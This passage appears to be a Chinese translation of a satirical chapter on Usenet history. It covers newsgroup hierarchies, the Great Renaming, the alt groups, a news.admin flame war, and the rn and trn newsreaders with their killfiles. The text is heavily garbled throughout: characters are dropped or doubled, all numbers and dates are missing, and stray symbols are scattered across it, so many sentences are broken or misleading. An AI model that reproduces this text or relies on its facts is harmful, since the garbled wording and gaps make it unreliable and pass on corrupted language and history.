能 够 在 大 多 数 Unix 站 点 ( 一 般 是 各 个 大 学 ) 发发 布 最 新 的 补补 丁 , 中 大<br />
部 分 就就 是 news 身 的 源 码 , 病 毒 借 机 传 播播 。 随 着 时 间 的 流 , 术 语<br />
“ 网 新 闻 ” 出 现 了 , 来 “ 新 闻 网 ” 随 出 现 , 再 来 还 有 无 数 恶 搞搞<br />
( 比 如 “ 骂 人 网 ”、“ 失 网 ”、“ 瞌 睡 网 ”, 及 “ 无 数 谎 言言 网 ”)。<br />
<br />
译 注 Patrick A. Townson。<br />
<br />
译 注 Netnews。<br />
<br />
译 注 Usenet。<br />
<br />
译 注 Abusenet。<br />
<br />
译 注 Lusenet。<br />
<br />
译 注 Snoozenet。<br />
出 自 《 深 渊 的 火 》 [] , 弗 诺 核 文 (Vernor Vinge) 著 (Tom Doherty Associates,)。 译 注 原原<br />
文 “Net of a Million Lies”。
· · 瞌 睡 网<br />
这 个 网 就就 像 葛<br />
<br />
一 生 长 盒 盒 站 点 更 多 、 人 气 更 旺 、 消 息 更 新 。 新<br />
闻 网 的 基 题 就就 是 于 规 模 扩扩 大 引 起 的 , 每 当 一 个 新 的 站 点 入 , 每 人<br />
每 天 在 发发 布 的 每 篇 帖 子 都 被被 自 抄抄 给 网 络 中 的 每 台 机捼 器 。 有 传 言言 ,<br />
DEC 了 新 罕 布 什 尔尔 州 的 一 计 算 机 , 因 发发 现 者 的 月 度 电 曾 高 达<br />
五 数 。<br />
这 种 价 成 很 快 被被 改 头 换 成 常 开 支 , 结 果 让 的 计 算 机<br />
花 销 不 断 高 涨 。 就就 是 在 那 个 时 候 , 一 组 黑 现 了 在 因 特 网 传 输 新 闻<br />
网 的 协 , 而 这 个 目 完 全 是 联 邦 政 府 借 钱 赞 的 。 随 着 容 的 增 长 , 新<br />
闻 网 在 全 球 就就 了 无 数 猴 子 没没 没没 夜 地 敲 打 键 。 据据 初 的 估 计 ,<br />
新 闻 网 站 点 总 数 达 到 个 , 每 有 用 户户 在 发发 出 个<br />
帖 子 。<br />
辩 护 者 , 是 协 作 就就 了 新 闻 网 这 个 庞 大 体 系 但 他 们 避 而 不 谈 , 新 闻<br />
网 得 就就 还 离 不 开 辱 骂 、 骚 扰 和 邮 件 炸 。<br />
死 于 帖 子<br />
一 个 无 政 府 义 的 网 如 何 管 辖 ? 暴 民民 政 治治 和 开 私 刑 。 看 看 <br />
期 Fri, Jul : EDT<br />
来 自 nick@lcs.mit.edu<br />
题 班 迪 海 斯 在 “ 失 网 ” 的 车 裂 刑<br />
发发 给 VOID、FEATURE-ENTENMANNS、UNIX 痛 者<br />
最 近 新 闻 组 news.admin 瘫 了 , 这 是 因 一 场 持 续 的 暴 民民 ( 前 别 的 原原 因 就就 不 <br />
了 ), 活 针 对 的 目 标 你 们 有 人 能 知 道 , 班 迪 (bandy@catnip.berkeley.ca.us)。<br />
一 开 始 , 班 迪 编 写 了 一 个 程程 序 来 删 除 转 发发 到 alt.cascade 的 帖 子 , 目 的 是 减 少少 新 闻 组 的<br />
音 。“ 串 贴 (cascade)” 是 一 种 亲 切 的 称 呼 , 指指 一 串 帖 子 是 引 用 前 的 帖 子 , 但<br />
几 或或 者 完 全 没没 有 新 内 容 。 有 些 打 不 来 字 的 人 很 痴 串 帖 文 字 一 层 层 缩 , 裹 着<br />
一 团 蠢蠢 , 然 缩 再 一 层 层 回 。 我 们 大 多 数 人 直 接接 把把 这 种 帖 子 的 作 者 ( 黑 称 <br />
“ 凶 手手 ”) 切 掉 了 事 。<br />
但 很 遗 憾 , 班 迪 在 现 这 个 ( 价 值 有 争 的 ) 想 法 时 带 了 一 个 不 大 不 小小 的 臭 虫 , 结 果<br />
一 些 不 属属 于 串 帖 的 帖 子 不 能 幸 免 。 在 有 人 发发 觉 并 行 前 ,net.wisdom 颗 无 价<br />
的 石 遗 失 了 。<br />
他 发发 帖 子 给 NNTP 管 理 员 列 表表 ( 新 闻 网 的 “cabal”( 管 理 机 构 ) 的 遗 ) 承 认 错 误 , 但 要<br />
求 他 “ 开 道 歉 ” 的 呼 声 仍 不 于 耳 。 有 些 人 耍 小小 聪 明 把把 他 的 帖 子 转 到 news.admin(<br />
中 有 班 迪 的 网 地 址 ), 有 人 ( 肯 是 了 避 免 该 地 址 被被 sendsys 消 息 炸 ) 又 开 始 删 除<br />
所 有 提 到 这 个 地 址 的 帖 子 …盚…盚 哎 呀 呀 , 一 边 是 “ 言言 自 ”, 一 边 是 “ 暴 民民 政 治治 ”, 声 音<br />
简 直 震 耳 欲 黑 和 黑 激 烈 碰 撞撞 , 在 谙 熟 网 心 理 学 的 行 家 耳 朵 不 啻 籁 音 。<br />
归 结 , 这 是 Un*x 和 新 闻 网 空空 耗 无 益 的 型 例 子 白 痴 和 白 痴 打 着 圈 儿 地 纠 缠 。 很<br />
遗 憾 我 忍 不 顶 了 贴 <br />
<br />
译 注 一 种 生 长 快 的 豆 科 植植 物 , 原原 中 国 及 , 入 侵 美 国 泛 滥 成 灾 。<br />
<br />
译 注 BandyHairs。
新 闻 组<br />
· ·<br />
新 闻 组 news.admin<br />
题 车 裂 班 迪 核 海 斯 <br />
发发 布 世 界<br />
很 高 在 NNTP 管 理 员 列 表表 , 我 们 能 对 网 新 闻 运 行 中 的 题 行 好 歹<br />
有 点 理 性 的 讨 。 但 是 在 news.admin 浪 时 间 和 带 的 时 请 我 <br />
一 <br />
认 这 凶 手手 ( 老 , 我 恨 这 个 词 ) 的 人 从 来 就就 知 道 , 他 一 直 来 …盚…盚 都<br />
很 冲 , 而 他 已 经 轻 率 付 出 足 够 的 价 , 到 了 足 够 的 惩 罚 ( 什 么 ? 他 都<br />
在 浴 缸 大 喊 “ 小小 心 刀 片 !” 了 , 你 们 还 有 完 没没 完 ?)。 有 人 这 场 闹 剧<br />
该 被被 遗 ( 甚 至 ACM 不 要 提 及 盒 盒 我 觉 得 尤尤 是 ACM 不 要 提 及 才<br />
对 )…盚…盚<br />
人 们 抱抱 怨 “ 懒 惰 或或 者 不 作 的 系 管 理 员 ”。 你 要 瞄 一 眼 news.admin 马<br />
就就 能 明 白 , 何 管 理 员 不 愿 在 这 浪 时 间 。<br />
在 这 “ 失 网 ”, 尽 管 班 迪 被被 拍 得 头 破 血血 流 , 但 没没 有 哪 个 家 的 屁 是<br />
净 的 , 就就 等 着 各 清 白 人 士 扔 第 一 块 砖 头 。<br />
盒 盒 尼 克<br />
新 闻 组<br />
<br />
到 目 前 , 我 们 还 是 没没 有 到 新 闻 网 是 什 么 , 没没 有 如 何 判 断 一<br />
计 算 机 是 否 接接 到 新 闻 网 , 原原 因 很 简 单 盒 盒 没没 人 搞搞 得 清 楚楚 。 最 接接 近 真 相 的<br />
义 是 如 果 新 闻 组 的 内 容 你 能 读 , 你 发发 的 帖 子 别 人 能 读 , 那 么 你 就就 置<br />
身 新 闻 网 中 。 我 又 想 起 病 毒 了 一 接接 触触 就就 感 染 , 接接 着 是 到 处 传 播播 。<br />
新 闻 组 又 是 什 么 呢 ? 技 术 来 , 就就 是 运 用 了 杜 威 十十 分 类 法<br />
<br />
的 新 闻<br />
网 。 一 个 新 闻 组 就就 是 一 组 词 语 ( 或或 者 缩 写 、 别 ), 词 语 间 用 点 分 隔 ,<br />
序 从 到 右 。 例 如 misc.consumers.house 就就 是 一 个 讨 拥拥 有 和 购 买 房 屋屋 的<br />
新 闻 组 , 而 sci.chem.organomet 讨 的 是 有 机 金 属属 化 学 ( 先 别 管 什 么 意 思 )。<br />
新 闻 组 字 的 最 边 称 层 , 有 时 候 又 称 顶 级 层 。 新 闻 网 是 国 性<br />
的 , 所 尽 管 满 大 街街 都 是 英 语 字 , 但 偶 尔尔 能 遇 到 稀稀 罕 的 域 风 情 , 比 如<br />
finet.freenet.oppimiskeskus.ammatilliset.oppisopimus 。<br />
<br />
译 注 Association of Computing Machinery, 计 算 机 协 。 一 个 世 界 性 的 计 算 机 从 业 员 专 业 组 ,<br />
立立 于 , 是 世 界 第 一 个 科 学 性 及 教 育 性 计 算 机 学 , 要 成 员 刊 物 是 《ACM 通 》,ACM 还 <br />
个 要 奖 , 中 包 括括 图 灵 奖 。<br />
<br />
译 注 Newsgroups。<br />
<br />
译 注 Dewey Decimal Classification(DDC), 美 国 人 梅 尔尔 文 核 杜 威 (Melvil Dewey) 于 编 制 的<br />
图 书 分 类 体 系 。<br />
<br />
译 注 芬 兰 语 。
· · 瞌 睡 网<br />
( 多 两 , 新 闻 组 字 当 中 的 第 一 个 点 是 要 发发 音 的 , 所 “comp.foo”<br />
读 作 “ 康 - 点 -”。 在 书 文 字 中 , 如 果 没没 有 义 , 字 的 各 部 分 经 常 <br />
首 字 母 , 所 有 comp.sources.unix 的 讨 写 成 “c.s.u”。)<br />
新 闻 网 中 有 一 片 区 域 做 “alt”, 像 是 书 店 和 唱 片 店 的 陈 箱 , 又 像 是<br />
图 书 馆 的 开 放 书 架 盒 盒 你 永永 不 知 道 有 什 么 , 基 确 没没 什<br />
么 。 比 如 alt.swedish.chef.bork.bork.bork 就就 是 一 搞搞 怪 的 《 大 青 蛙 布 偶 秀 》<br />
<br />
爱 好 者 的 杰 作 。Unix 粉 丝 对 驾 轻 就就 熟 , 他 们 似 嗅 出 了 某 种 模 式 , 于 是<br />
在 一 些 站 点 你 能 看 到 字 <br />
alt.alien.vampire.onk.onk.onk<br />
alt.andy.whine.whine.whine<br />
alt.tv.dinosaurs.barney.die.die.die<br />
alt.biff.biff.bork.bork.bork<br />
alt.bob-packwood.tongue.tongue.tongue<br />
alt.tv.90210.sucks.sucks.sucks<br />
alt.american.automobile.breakdown.breakdown.breakdown<br />
你 能 看 出 来 , 这 种 玩 笑 很 快 就就 没没 意 思 了 , 新 闻 网 不 是 每 个 人 都 有 <br />
趣 。<br />
满 地 乱 滚 的 层 次<br />
最 初 的 新 闻 网 有 两 个 顶 级 层 ,net 和 fa。 中 net 的 来 历 已 经 无 从 考<br />
证 , 而 “fa” 表表 示 “ 来 自 ARPANET(from ARPANET)”, 通 过 网 新 闻 转 发发<br />
一 些 最 著 的 ARPANET 邮 件 列 表表 。“fa” 开 头 的 新 闻 组 很 特 别 , 那 就就 是<br />
有 一 个 站 点 ( 一 不 堪 负 的 DEC VAX, 是 伯 克 利 分 校 计 算 机 科 学 系 <br />
接接 ARPANET 的 要 网 ) 能 够 发发 表表 帖 子 。 这 个 概概 念 得 很 有 用 , 所 来<br />
发发 布 的 新 闻 网 程程 序 将将 fa 改 mod, 意 思 是 “ 限 制 性 的 ”( 邮 件 列 表表 ),<br />
程程 序 的 行 改 了 发发 给 mod 组 的 帖 子 首 先 被被 转 发发 给 该 组 的 “ 仲 裁 员 ” <br />
( 配 置 文 件 指指 ), 者 阅 读 检 验 一 番 然 新 发发 出 , 在 前 要 给 帖 子<br />
头 部 表表 示 “ 意 ”, 及 别 的 文 字 , 一 般 是 仲 裁 员 的 邮 件 地 址 类 。 当<br />
然 , 这 种 限 制 形 虚 , 却 很 少少 有 人 搞搞 破 , 因 完 全 没没 有 难 度 密<br />
码 就就 写 在 门 , 打 开 这 的 保 险 柜 有 什 么 意 思 呢 ? 限 制 性 新 闻 组 是 将将 邮 件 和<br />
<br />
译 注 The Muppet Show。 到 播播 出 的 美 国 布 偶 电 视 剧 。 中 有 个 瑞 厨厨 师 (Swedish<br />
Chef), 他 唱 的 歌 总 是 “Bork、bork、bork” 结 尾 。<br />
<br />
译 注 Moderated。<br />
<br />
译 注 Moderator。
新 闻 组<br />
· ·<br />
news 紧 密 结 的 第 一 种 方 式 , 在 朝 着 信 息 高 路 的 踯 躅 前 行 中 , 这 <br />
算 作 开 始 的 几 。<br />
术 语 “net” 生 于 新 闻 网 的 各 种 讨 中 , 随 而 来 的 还 有 一 种 松 散 的<br />
等 级 制 度 。 在 这 种 制 度 , 喜 潜 水水 很 少少 发发 言言 的 芸 芸 生 盒 盒 所 谓 net.folk<br />
或或 者 net.denizens 盒 盒 处 于 最 的 一 层 而 那 些 发发 帖 特 别 有 料 、 特 别 讨 厌 或或<br />
者 特 别 勤勤 快 的 人 构 成 了 net.personalities 最 的 net.gods 盒 盒 有 时 候 <br />
称 net.wizards 盒 盒 对 某 个 新 闻 组 的 题 了 如 指指 掌掌 。 有 时 候 net.gods <br />
能 是 一 些 过 大 事 的 人 , 比 如 参参 与 过 编 写 新 闻 网 程程 序 , 或或 者 管 理 着 某 个 要<br />
的 新 闻 网 站 点 。 这 些 net.gods 真 就就 和 神 中 的 帝 一 , 超 然 世 外 , 不 尘尘<br />
事 盒 盒 不 过 有 能 是 心 胸 狭 窄 , 暗 善 妒 , 他 们 经 常 气 冲 冲 地 拂拂 袖袖 而 去去 ,<br />
还 生 怕 别 人 不 知 道 。 不 过 大 多 数 人 对 感 觉 无 所 谓 。<br />
大 更捩 <br />
随 着 更 多 站 点 的 入 , 更 多 分 组 的 建 ,net/mod 的 划 分 方 式 不 再 用<br />
了 。 某 个 接接 收 站 点 心 和 技 术 相 的 分 组 , 那 么 发发 站 点 必 明 确 列 出 所<br />
有 这 类 分 组 , 需 要 编 写 冗 长 的 配 置 文 件 。 这 成 了 一 个 不 意 外 ( 或或 者 <br />
极 不 意 外 , 如 果 你 从 头 阅 读 书 而 不 是 在 书 店 浏 览 的 ) 的 果 配 置 文<br />
件 长 度 超 过 了 相 Unix 的 某 种 内 在 限 制 。<br />
期 瑞 克 核 亚 当 姆 斯<br />
<br />
解解 决 了 这 个 难 题 。 他 研 究 了 当 时 的 新 闻<br />
网 分 组 , 然 就就 像 当 林 斯<br />
<br />
一 , 了 沿 用 至 今 的 七 大 层 。<br />
comp 计 算 机 相 ( 件 、 硬 件 等 )<br />
news 新 闻 网 身 相 <br />
sci 科 学 相 ( 化 学 等 )<br />
rec 娱 相 ( 电 视 、 运 等 )<br />
talk 政 治治 、 教 或或 者 体 题<br />
soc 社 题 , 例 如 文 化<br />
misc 它<br />
当 然 , 这 几 是 在 ARPANET 迈 出 的 。ARPANET 有 真 的 计 算 机 , 运 行 着 真 的 操 作 系 。 在<br />
网 新 闻 大 爆 炸 前 ,MIT-MC 盒 盒 MIT 最 大 最 快 的 KL- 机 盒 盒 的 用 户户 们 , 就就 已 经 对 人 智 能 验<br />
的 罗 杰 核 杜 菲 (Roger Duffey) 虎 视 眈 眈 , 起 因 是 “ 科 爱 好 者 (SF-Lovers)” 盒 盒 一 个 迅 在 晚 占<br />
据据 了 MC 所 有 时 间 的 全 国 范 围 邮 件 列 表表 。 想 过 什 么 列 表表 需 要 请 才 能 入 吗 ? 想 过 自 摘摘 要 程程 序 的 来<br />
历 吗 ? 都 是 因 罗 杰 想 少少 遭 点 罪 。( 译 注 SF-Lovers 是 在 ARPANET 流 行 的 邮 件 列 表表 , 是 最<br />
的 限 制 性 邮 件 列 表表 一 , 罗 杰 核 杜 菲 担 任 仲 裁 员 。 于 邮 件 数 多 无 法 在 晚 间 全 部 发发 , 该 列 表表 引<br />
入 了 摘摘 要 和 自 摘摘 要 程程 序 。)<br />
<br />
译 注 Rick Adams。<br />
<br />
译 注 Carolus Linnaeus, 卡 罗 鲁 斯 核 林 斯 ( 月 ~ 月 ), 瑞 自 然 学<br />
者 , 现 生 物 学 分 类 命 的 奠 基 人 。
· · 瞌 睡 网<br />
很 明 显 “mod” 没没 有 了 , 分 组 的 字 不 再 表表 示 发发 帖 的 方 式 , 因 这 对 读<br />
者 没没 有 区 别 。 瑞 克 的 建 是 给 当 时 的 一 些 讨 题 ( 新 闻 网 理 任 何<br />
东 西 在 某 个 时 候 都 是 讨 的 题 )。 当 然 新 闻 网 的 程程 序 又 得 修 改 , 但 这 不 是<br />
什 么 题 , 因 瑞 克 在 前 就就 成 这 些 程程 序 的 维 护 者 了 。 一 个 比 较 大 的 <br />
题 是 所 谓 的 “ 水水 区 ”, 多 分 贝 很 高 但 内 容 很 水水 的 分 组 被被 划 分 在 talk ( 比<br />
如 要 总 结 一 net.abortion, 那 么 结 果 基 就就 是 “ 堕 胎 是 邪 恶 的 / 不 , 不<br />
是 邪 恶 的 / 是 , 就就 是 邪 恶 的 / 科 学 并 不 邪 恶 / 胚 胎 是 有 生 命 的 / 不 , 没没 有 生 命<br />
…盚…盚” 如 往 复 )。 有 用 户户 反 对 如 划 分 , 理 是 这 让 仲 裁 员 很 容 易 过 滤 那<br />
些 分 组 。 很 容 易 才 对 盒 盒 这 不 就就 是 目 的 嘛 ! 那 时 候 大 半半 个 欧 洲 都 通 过 一 <br />
长 途 电 线 接接 到 美 国 , 因 有 些 地 方 盒 盒 比 如 斯 堪 的 纳 维 亚 半半 岛岛 盒 盒 的<br />
人 , 并 不 心 盒 盒 遑 参参 与 盒 盒 罗 伊 韦 德 案 的 讨 。<br />
虽 然 看 起 来 又 是 一 个 视 且 命 的 Unix 风 格 补补 丁 , 虽 然 甚 至 遭 到 用 户户<br />
的 反 对 , 但 满 脑 子 Unix 思 想 的 仲 裁 员 们 控 制 着 新 闻 网 , 因 这 个 改 还 是<br />
发发 生 了 。 过 程程 利 得 让 人 难 置 信 , 在 几 周 内 就就 基 完 成 ( 要 行 到 哪 一<br />
当 时 并 不 清 楚楚 。 例 如 在 一 场 于 如 何 “ 照 料 鱼 缸 及 饲 鱼 类 ” 置<br />
新 闻 组 的 煽 , 两 个 分 组 生 了 , 分 别 是 sci.aquaria 和 rec.aquaria)。<br />
如 果 有 人 一 意 孤 行 念 制 , 那 么 在 要 的 新 闻 组 站 点 , 有 件 按按 照 新<br />
的 组 结 构 自 发发 帖 子 。 这 就就 是 新 闻 组 的 大 更捩 。<br />
像 “net.god” 这 的 称 呼 还 是 存 在 , 但 基 老 鸟 才 用 。 在 这 个 粗<br />
鲁 又 粗 糙 的 , 你 得 更 多 的 称 呼 是 “net.jerk”。<br />
大 言 不 惭 之 alt 层 次<br />
大 更 发发 生 时 , 布 莱 核 瑞 德<br />
<br />
是 新 闻 组 “mod.gourmand” 的 仲 裁<br />
员 。 南 海 北 的 人 都 把把 最 喜 爱 的 菜 谱 发发 过 来 , 布 莱 收 到 再 用 一 的 格<br />
式 发发 帖 。 布 莱 编 写 脚 , 用 来 对 收 到 的 内 容 行 保 存 、 排排 版 和 检 索 , 到 最<br />
还 自 出 版 了 一 烹 饪 书 , 中 收 录 了 个 菜 谱 。 在 新 的 命 方 式 ,<br />
mod.gourmand 成 了 “rec.food.recipes”, 但 布 莱 觉 得 这 个 字 很 没没 意<br />
思 。 与 时 , 约 翰 核 尔尔 摩摩 对 消 source 组 感 到 不 爽 , 因 没没 了 这 个<br />
非 限 制 性 新 闻 组 , 大 家 无 法 直 接接 发发 布 源 码 , 而 是 非 得 经 过 别 人 中 转 。 于<br />
是 布 莱 、 约 翰 , 还 有 他 几 仲 裁 员 凑 在 一 起 立立 了 新 的 层 ,“alt”, 意<br />
<br />
译 注 Roe V. Wade, 罗 伊 韦 德 案 。 美 国 人 罗 伊 于 发发 起 堕 胎 法 化 , 一 直 打 到 最 高<br />
法 院 , 最 罗 伊 核 韦 德 法 案 于 通 过 , 至 美 国 妇 女 方 享 有 堕 胎 权 。 前 提 到 的 斯 堪 的 纳 维 亚 半半<br />
岛岛 国 家 , 例 如 芬 兰 、 麦 、 瑞 和 挪 威 对 堕 胎 比 较 容 。<br />
<br />
译 注 Brian Reid。<br />
<br />
译 注 John Gilmore。
信 息 高 速 公 路 奇 缺 信 息 量<br />
· ·<br />
思 是 自 讨 区 。 和 你 想 的 差 不 多 , 生 这 个 层 的 站 点 就就 于 金 山山 湾 <br />
近 , 那 是 式 的 激 和 煽 的 温 床 。 就就 这 ,alt.gourmand 和<br />
alt.sources 出 现 了 。 在 这 个 新 的 层 , 最 要 的 规 是 任 何 人 都 建<br />
新 闻 组 和 ( 最 彻 的 ) 无 政 府 区 域 , 然 各 个 站 点 自 行 决 哪 些 内 容 。<br />
从 新 闻 网 又 回 拖 拖 拉拉 拉拉 的 老 子 。 例 如 , 布 莱 的 菜 谱 就就 没没 有 出 现<br />
在 rec.food.recipes , 他 人 很 快 不 再 仲 裁 alt.gourmand, 难 道 是 开 始<br />
节 食 了 ? 至 于 alt.sources, 如 果 帖 子 的 码 包 字 不 “ 规 ”、 描 述 不 清<br />
楚楚 , 或或 者 缺 少少 Makefile 类 , 就就 招 来 读 者 埋 怨 。 如 今 这 个 组 已 经 成 那 些<br />
限 制 性 分 组 的 克 隆 了 , 而 前 是 打 算 绕 开 起 炉 灶 的 。 与 时 , 水水 族<br />
馆 玩 家 们 更 喜 聚 在 alt.aquaria 和 alt.clearing.aquaria 的 坛 。<br />
信 息 高 速 公 路 奇 缺 信 息 量<br />
到 目 前 , 我 们 除 了 背 历 史 , 简 直 就就 没没 有 批批 过 Unix。 何 这 回 心<br />
慈 手手 ? 因 从 看 , 新 闻 网 社 胜 于 技 术 。 就就 算 Unix 给 用 户户 更<br />
好 的 技 术 手手 段 行 跨 国 讨 , 结 果 还 是 一 如 史 特 金 律<br />
<br />
所 , 任 何<br />
域 % 的 内 容 都 是 垃 圾 。<br />
仲 裁 员 删 贴 让 新 闻 组 保 持 一 的 信 比 , 但 这 是 必 要 不 分 <br />
件 , 真 是 悲 哀 啊 。 要 是 少少 了 仲 裁 员 不 得 了 , 网 的 匿匿 特 性 把把 时 还 算<br />
理 智 的 ( 好 吧 , 至 少少 用 计 算 机 的 ) 家 打 回 到 岁 , 成 就就 知 道 嚷 嚷 “ 我<br />
不 是 , 你 才 是 , 我 不 是 , 你 才 是 …盚…盚”<br />
计 一 哪 些 人 在 使 用 计 算 机 , 或或 者 更 要 的 信 息 盒 盒 哪 些 人 在 <br />
新 闻 网 , 找 到 题 的 大 部 分 源 。 发发 贴 人 大 多 是 科 学 技 术 专 业 的 科<br />
生 , 既 拙 于 开 演 讲 , 人 又 成 熟 ( 结 果 是 女 性 很 少少 光 新 闻 网 , 而 一 <br />
发发 帖 就就 被被 饥 渴 的 网 民民 用 成 千千 万 “ 友 好 ” 的 求 交 往 消 息 瞬 间 炸 ), 不<br />
过 时 间 倒 是 一 大 把把 。<br />
如 果 新 闻 组 的 内 容 很 水水 , 那 么 经 发发 帖 的 者 留 不 。 这 个 现 象 导<br />
致 了 新 闻 组 的 分 化 发发 帖 要 么 少少 而 精 , 要 么 多 而 水水 。 有 时 候 这 是 一 种 潜 移移 默<br />
化 的 力 , 慢 慢 把把 所 有 讨 的 水水 到 一 个 最 小小 的 均 值 。 一 出 现 了<br />
高 的 新 闻 组 , 更 多 人 就就 入 盒 盒 先 是 潜 水水 , 然 发发 贴 。<br />
在 这 个 过 程程 中 , 如 果 不 能 像 多 非 alt 层 的 新 闻 组 一 , 立立 仲 裁<br />
员 或或 者 清 楚楚 准 确 的 规 , 那 么 帖 子 的 价 值 毫毫 无 疑 , 要 经 过 几 暴<br />
<br />
译 注 Sturgeon's Law, 这 是 中 第 二 , 源 自 美 国 科 作 家 西 奥 多 核 史 特 金 于 对 科 小小 批批<br />
者 的 回 。
· · 瞌 睡 网<br />
民民 , 新 老 新 闻 组 就就 差 不 多 一 污污 浊 了 。 新 闻 网 的 历 史 总 是 不 断 复 , 因<br />
新 组 的 最 初 成 员 要 么 再 建 一 个 更 新 的 组 , 要 么 建 一 个 邮 件 列 表表 。 如 果<br />
是 者 那 么 必 小小 心 不 让 列 表表 泄泄 露 出 去去 ( 比 如 不 要 放 列 表表 清 单 ), 否 列<br />
表表 很 快 就就 膨 到 某 个 门 限 , 结 果 又 成 一 个 新 闻 组 , 回 再 开 始 。<br />
rn、trn: 一 分 钱 , 一 分 货<br />
和 几 所 有 新 闻 网 件 一 , 人 们 阅 读 ( 及 张 贴 ) 新 闻 的 程程 序 提 供 <br />
新 发发 布 的 源 码 。 这 种 策 略 很 大 程程 度 是 源 于 作 者 的 自 我 保 护 心 理 <br />
• 作 者 懒 得 自 己 修 复 臭 虫 和 移移 植植 码 , 而 开 源 就就 很 容 易 把把 事 情 推 给<br />
别 人 。 你 甚 至 在 源 码 的 开 头 来 个 因 果 颠 倒 , 把把 这 成 是 开 源 的<br />
点 。<br />
• 作 者 很 怜 , 完 全 无 法 编 写 出 能 在 各 种 现 Unix “ 直 接接 能 用 ” 的 <br />
码 , 因 Unix 没没 有 标 准 。<br />
• 就就 算 你 做 到 了 源 码 的 “ 一 编 写 , 到 处 运 行 ”, 经 过 形 形 色 色 的 C 编<br />
译 和 运 行 , 二 制 码 能 认 编 译 的 机 , 换 到 别 处<br />
就就 没没 戏 。<br />
期 的 新 闻 网 件 带 有 简 单 的 阅 读 程程 序 , 字 是 readnews 和 rna, 这 些<br />
程程 序 在 简 单 , 我 们 就就 不 多 谈 了 。<br />
最 流 行 的 新 闻 阅 读 大 概概 是 rn, 作 者 拉拉 核 沃沃 尔尔 。 据据 文 档 描 述 ,<br />
rn“ 就就 算 不 是 更 快 的 阅 读 , 让 人 感 觉 起 来 更 快 ”。rn 开 性 地 新 闻<br />
阅 读 引 入 了 killle, 每 当 阅 读 一 个 新 闻 组 , 程程 序 载 入 你 该 组 建 的<br />
killle( 如 果 有 的 ), 包 各 种 模 式 及 对 的 作 , 中 模 式 是 <br />
表表 达 式 义 的 ( 当 然 , 虽 然 和 shell 的 模 式 有 点 像 , 但 很 不 幸 , 二 者 的<br />
微 差 无 法 肉 眼 分 辨 )。<br />
借 killfile, 新 闻 网 读 者 在 胡 言言 乱 语 的 汪汪 洋 中 建 立立 起 一 个 个 小小 岛岛 。 例 如<br />
有 人 想 读 原原 帖 但 不 想 读 回 帖 , 就就 把把 “/Re:.*/” 放 killle。 但 是 如<br />
果 rn 不 小小 心 , 有 些 搞搞 怪 的 题 能 成 题 。<br />
期 Thu, Jan :: PST<br />
来 自 马 克 核 洛 特 <br />
<br />
译 注 Larry Wall, 是 Perl 语 言言 的 发发 明 人 一 。
n、trn: 一 分 钱 , 一 分 货<br />
· ·<br />
题 rn 程程 序 执执 行 killfile 的 题<br />
发发 给 UNIX 痛 者<br />
我 才 想 跟 一 个 新 闻 组 的 几 百 个 读 帖 子 。 我 扫 过 冒 来 的 标 题 , 如 果 没没 趣 读 就就<br />
按按 “k” 键 执执 行 kill 命 。 这 命 的 意 思 是 “ 把把 题 < 某 某 > 标 已 读 ”, 运<br />
行 时 把把 该 题 所 有 的 读 帖 子 都 标 已 读 。<br />
结 果 呢 …盚…盚 我 看 到 一 个 标 题 “*******”, 然 按按 “k”。 哪 盒 盒 所 有捯 帖 子 都 被被 标 <br />
已 读 , 无 法 恢 复 , 完 全 丢 失 , 又 搞搞 乱 了 。<br />
盒 盒 mkl<br />
rn 的 命 都 是 单 个 字 母 , 这 是 个 性 的 题 , 因 命 多 了 ,<br />
中 某 些 按按 键 绑 是 讲 不 通 的 。 什 么 “f” 表表 示 发发 表表 一 个 跟 帖 ? 又 回<br />
来 ,“ 跟 帖 ” 到 是 什 么 意 思 ? 有 人 想 用 “r” 发发 表表 回 复 , 但 这 个 键 的 意 思 是<br />
直 接接 给 作 者 发发 邮 件 回 复 。 你 不 能 按按 “s” 发发 邮 件 因 这 表表 示 保 存 到 文 件 ,<br />
不 能 用 “m” 表表 邮 件 因 这 表表 示 “ 将将 帖 子 标 读 ”。 谁 能 理 解解 这 些 黑<br />
并 真 懂 得 中 的 义 ? 或或 者 谁 能 真 “k”、“K”、“^K” 还 有 “.^K”<br />
等 等 等 等 的 区 别 ?<br />
没没 有 能 输 出 详 信 息 的 作 方 式 , 帮 信 息 从 来 都 残 缺 不 全 , 没没 有 脚<br />
语 言言 , 但 从 外 一 方 讲 , 这 个 程程 序 “ 让 人 感 觉 起 来 更 快 ”。<br />
rn 和 别 的 程程 序 一 , 身 带 着 臭 虫 。 拉拉 想 出 个 发发 布 补补 丁 的 意 在<br />
一 种 固 格 式 的 帖 子 包 “diff” 的 输 出 内 容 , 意 思 是 这 就就 是 我 的<br />
修 复 码 和 你 的 题 码 间 的 不 。 拉拉 还 编 写 了 patch 程程 序 , 把把 文 件<br />
和 对 新 文 件 改 的 描 述 放 帖 子 。 每 当 拉拉 发发 出 一 个 式 的 补补 丁 ( 不 时 还 有<br />
“ 好 心 ” 人 士 发发 出 的 非 式 补补 丁 ), 全 世 界 的 站 点 都 要 活 一 子 先 给 码<br />
打 这 些 补补 丁 , 再 从 头 编 译 新 的 rn。<br />
程程 rn 是 rn 的 一 个 修 改 版 , 能 隔 着 网 阅 读 新 闻 文 。 除 了 在 一 段 时<br />
间 逼 着 管 理 员 把把 大 小小 的 程程 序 保 留 两 份 , 这 个 程程 序 没没 什 么 好 的 如 果<br />
有 人 念 字 盒 盒 rrn 盒 盒 时 , 起 来 就就 像 海 豹 在 。<br />
trn 是 rn 的 最 新 版 , 中 并 了 rn 和 rrn 的 所 有 补补 丁 , 还 新 增 了 用 <br />
将将 文 分 类 的 能 。 每 个 都 是 一 组 文 及 回 复 , 阅 读 时 trn 在 屏 幕<br />
右 角 显 示 一 个 小小 小小 的 “ 树 ” 型 图 示 , 就就 像 这 <br />
+[]-[]-()<br />
[]-[*]<br />
| +-[]<br />
+-[]<br />
+[]<br />
-[]
· · 瞌 睡 网<br />
不 不 不 , 我 们 看 不 懂 这 是 什 么 意 思 , 但 确 有 Unix 粉 丝 赌 咒 发发 誓誓 ,<br />
借 这 的 图 示 和 稀稀 怪 的 按按 键 , 就就 能 “ 掌掌 控 ” 信 息 。<br />
rn 一 家 子 都 是 高 度 制 的 。 回 来 , 有 真 的 肛 门 滞 留 型 人 格<br />
<br />
的 Unix 粉 丝 才 介 意 killle 是 否 保 存 在 置 <br />
$HOME/News/news/group/name/KILL,<br />
~/News.Group.Name,<br />
$DOTDIR/K/news.group.name<br />
这 种 能 力 ( 必 然 是 “% 字 符 串 ” 和 “ 转 义 序 列 ” 的 形 式 塞 一 个 死 板<br />
